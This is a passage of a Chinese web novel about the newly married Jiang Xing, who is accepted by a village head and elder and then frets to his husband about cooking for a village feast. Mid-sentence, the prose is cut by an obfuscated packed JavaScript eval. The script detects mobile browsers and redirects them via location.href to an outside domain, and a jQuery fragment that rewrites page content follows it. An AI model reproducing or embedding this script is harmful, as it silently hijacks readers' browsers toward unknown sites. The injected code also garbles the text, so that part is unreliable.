“我们去医馆查过了,大夫说他就是脚腕伤着了,好生养一段时间就好。”燕程春说,“他现在普通走路没什么问题,但不能多劳累。” “是这样。”姜幸点点头。 村长想了许多,最后摸着胡须说:“幸哥儿,不管你是因为什么原因来到长明村,既然你已经嫁来长明村,做了春小子的夫郎,那就是我们长明村的人,村子和镇上距离不小,那边的人未必会再花心思来磋磨你,日后你就放心跟着春小子过日子。” “若是有人起了坏心思,咱们长明村虽然只是一个乡下村子,可村子里的农户足有百十来人,定有办法的。” 村长并非说笑,一村就是一个大家族,一个村子里的人总是齐心的,他当年既然敢接纳南下的流民,就证明了他对村子的领导力。 “多谢村长。”姜幸没想到相识不过几天的村长和乔孺人会这么接纳自己,他说着就要跪下,乔孺人连忙拦住他。 乔孺人笑道:“幸哥儿,有些话你听了别生气,咱们认识时间还不长,我们这么说其实也是因为你是春小子的夫郎。春小子就是我们看着长大的,他好不容易主动娶了夫郎,我们做长辈的,也不想拆散一对好鸳鸯,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588604|171615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是日子怎么样,还得你们两个自己去斟酌。” “我懂得。”姜幸明白乔孺人的意思,他和长明村还是‘陌生人’关系,亲疏有别,这很正常。 燕程春揽过姜幸,握住他的肩膀,安慰道:“村长方才说让你参加今年的立夏流水宴,帮着村里的长辈们做席面,慢慢地就熟悉起来了。” “我?”姜幸以为自己幻听了,他指了指自己,“我?是我吗?真的是我?” 虽然他并不知晓这个立夏流水宴是什么,但一听就知道一定是村子里的大事。 现在这等大事,要让他去参加,还要做席面? 这真不是开玩笑么? “……”燕程春慢慢移开视线,不敢对视。 村长和乔孺人离开后,姜幸还沉浸在自己要为长明村做吃食这等惊天大事之上。 他晕晕乎乎地洗漱,晕晕乎乎地拆解头发,又晕晕乎乎地被燕程春塞到被窝里。 燕程春和姜幸依然是分了两个被窝,不过这两个小被窝现在靠得极近,两个人翻个身便能面贴面。 燕程春也不知道做这种‘脱了裤子放屁’的事情有什么意义,但……总归还是有一道防线比较好。 燕程春摸摸鼻子,洗漱完也钻了进去。 温热夏夜,因着他们村靠近河流,又有无数参天树木遮阴,所以没有现代社会那么燥热,燕程春穿着寝衣还能再盖一层薄被。 今天走了许久,燕程春一躺下便萌生了睡意,微弱无力的眼皮刚要合上,就被旁边的姜幸摇醒。 “郎君,我不会做菜呀!” 姜幸终于反应过来自己要做什么了,他仿佛看到自己在一众长辈面前因为不会做菜而出丑,遂被批评,被厌恶,然后被赶出长明村的场景。 他急道,“村长误会了,我倒时候能做什么啊!” 燕程春两手放在脑后枕着,微眯着眼睛,“没事,你就去洗洗菜,端端盘子,主要是和那些婶婶嬢嬢熟悉一下,日后你还要和她们相处呢。” 姜幸:“可是……万一真让我上灶台该怎么办。” 姜幸支起一只胳膊,撑着脑袋,一头青丝从肩膀缓缓滑落,掉在燕程春左肩,燕程春不自在地移开视线,嘟囔道,“……要不然,我教你做今天的奶汤蒲菜?万一让你上手,你就炖汤去,这个也简单。” “郎君的手艺比我好太多了,为何不直接自己去呢?”姜幸不解,“在镇子上做个厨子应当比上山打猎要安全,而且赚的银子也多。” 燕程春转过头,惊讶道:“哇塞,这就开始嫌我赚银子少了啊!” “我没有这个意思!”姜幸急得连忙坐起来解释,“只是,只是,打猎很容易受伤……” 他知道能做猎户的人,手艺都不小,可进到山里,那面对的都是野兽,稍有不慎就会受伤的,他只是担心燕程春也会受伤罢了。 “逗你玩呢。”燕程春开了个玩笑,心情颇好,“躺下呗,我开玩笑呢,况且即便你真的嫌我挣银子少那也没事,反正你已经嫁进来了,跑不了咯。” 燕程春幻想了一个穿着破旧衣衫的小可怜,那小可怜顶着姜幸这张明媚的脸,把自己逗得眉开眼笑,嘎嘎直乐。